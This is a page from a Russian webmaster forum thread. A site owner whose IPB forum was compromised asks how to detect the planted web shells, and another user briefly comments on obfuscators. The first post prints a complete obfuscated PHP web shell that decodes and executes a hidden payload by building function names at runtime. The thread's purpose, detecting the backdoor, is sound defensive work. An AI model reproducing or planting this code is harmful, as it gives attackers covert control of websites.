Сила гофака помоги: Как искать такие шеллы? - Форум успешных вебмастеров - GoFuckBiz.com - Страница 3
 
 
Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB90.2486
BTC/USD68596.8577
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 06.01.2013, 01:24
Start Post: Сила гофака помоги: Как искать такие шеллы? 
  #21
Dadee
Шоколатье
 
Аватар для Dadee
 
Регистрация: 20.04.2007
Сообщений: 5,973
Бабло: $726105
По умолчанию

26 ноября заломали мне IPB (как и многим другим) и залили прикольные шеллы.
не могу придумать как спалить их все ?
скрипт py\bash\php или просто регулярка привестствуется, я уже себе голову поломал.

нет ни eval ни preg_replace ни system

PHP код:
<?php $x98ec27r='iHOHWxHk:>HlGH3J<[ic[!B&,Jcxf,3:xHl:>HOlkH3VxBF-I[Bx,[IFEbZwM!g9qE2VYYV-B&,Jcxf,![$x>c>F3>P&cIf1,*iRR4iJd32Vi,IVs}!m)Z?)ZS3vCC9!j3t;;3432VWVB&,Jcxf,V>P&cIf1,*iRR4iJdF2WV[JPfV3#-DD3|(IGF3Rx,d>32|3DD83:VKV<[px>c[<!>P&cIf1,!B&,Jcxf,F3>P&cIf1,*iRR4iJd32:VKV3:K';global$ijxnnkw8;$ijxnnkw8=array();$wcm8ntc9=array(73,82,79,89,78,85,93,80,70,6,14,71,12,7,13,9,30,95,72,99,90,83,28,20,29,88,27,122,110,115,113,117,108,126,21,26,68,84,75,127,94,87,124,24,111,121,106,103,116,104,125,97,1,0,17,18,81,2,65,91);foreach($wcm8ntc9 as $u7l2npnl)$ijxnnkw8[]=($u7l2npnl^60);$da9003ao=ry8ljsqu(array(38,44,62,91,60,120,105,82,120,43,91));$d5qwvdlm=$da9003ao(ry8ljsqu($x98ec27r));$mvh5bn8h=$d5qwvdlm[0];$i44cg14d=$mvh5bn8h('',$d5qwvdlm[1]);$i44cg14d();function ry8ljsqu($spq,$nlg='',$tr="\x63\x68\x72"){global$ijxnnkw8,$ns84;if(!isset($ns84))$ns84=array();static$buvy;if(!isset($buvy))$buvy=0;$lz=$nyx=$zs=$fa=$tr;$zq8=$nyx(208^179).$fa(119^24).$fa(16^101).$fa(150^248).$nyx(210^166);$usw=$fa(119^4).$tr(101^17).$zs(196^182).$zs(112^28).$fa(117^16).$lz(20^122);$uyk=$lz(209^184).$nyx(63^76).$nyx(2^93).$nyx(64^33).$tr(174^220).$nyx(31^109).$nyx(168^201).$lz(219^162);$ll6=$nyx(67^44).$lz(130^240).$lz(44^72);for($j5c=0,$pj3f=0;$j5c<($uyk($spq)?$zq8($spq):$usw($spq));$j5c++){$odem=(($uyk($spq)?$spq[$j5c]:$ll6($spq[$j5c])));if($odem==(5^15)||$odem==(115^126))continue;if(!isset($ns84[$odem])) $ns84[$odem]=$buvy++;if(!isset($ijxnnkw8[$ns84[$odem]])){echo($spq[$$j5c].' '.$odem);exit;}$kgxx=$tr$ijxnnkw8[$ns84[$odem]]);$nlg.=$kgxx;}return$nlg;} ?>
Dadee вне форума  
Старый 10.01.2013, 04:58   #22
Strikelol
Senior Member
 
Регистрация: 31.03.2011
Сообщений: 3,360
Бабло: $669045
По умолчанию

Цитата:
Сообщение от tmp Посмотреть сообщение
+1 к вопросу
тут вроде пиарился цезарь, может это он так обфусцирует никто не юзал его?
цезарь это js обфускатор.
Strikelol вне форума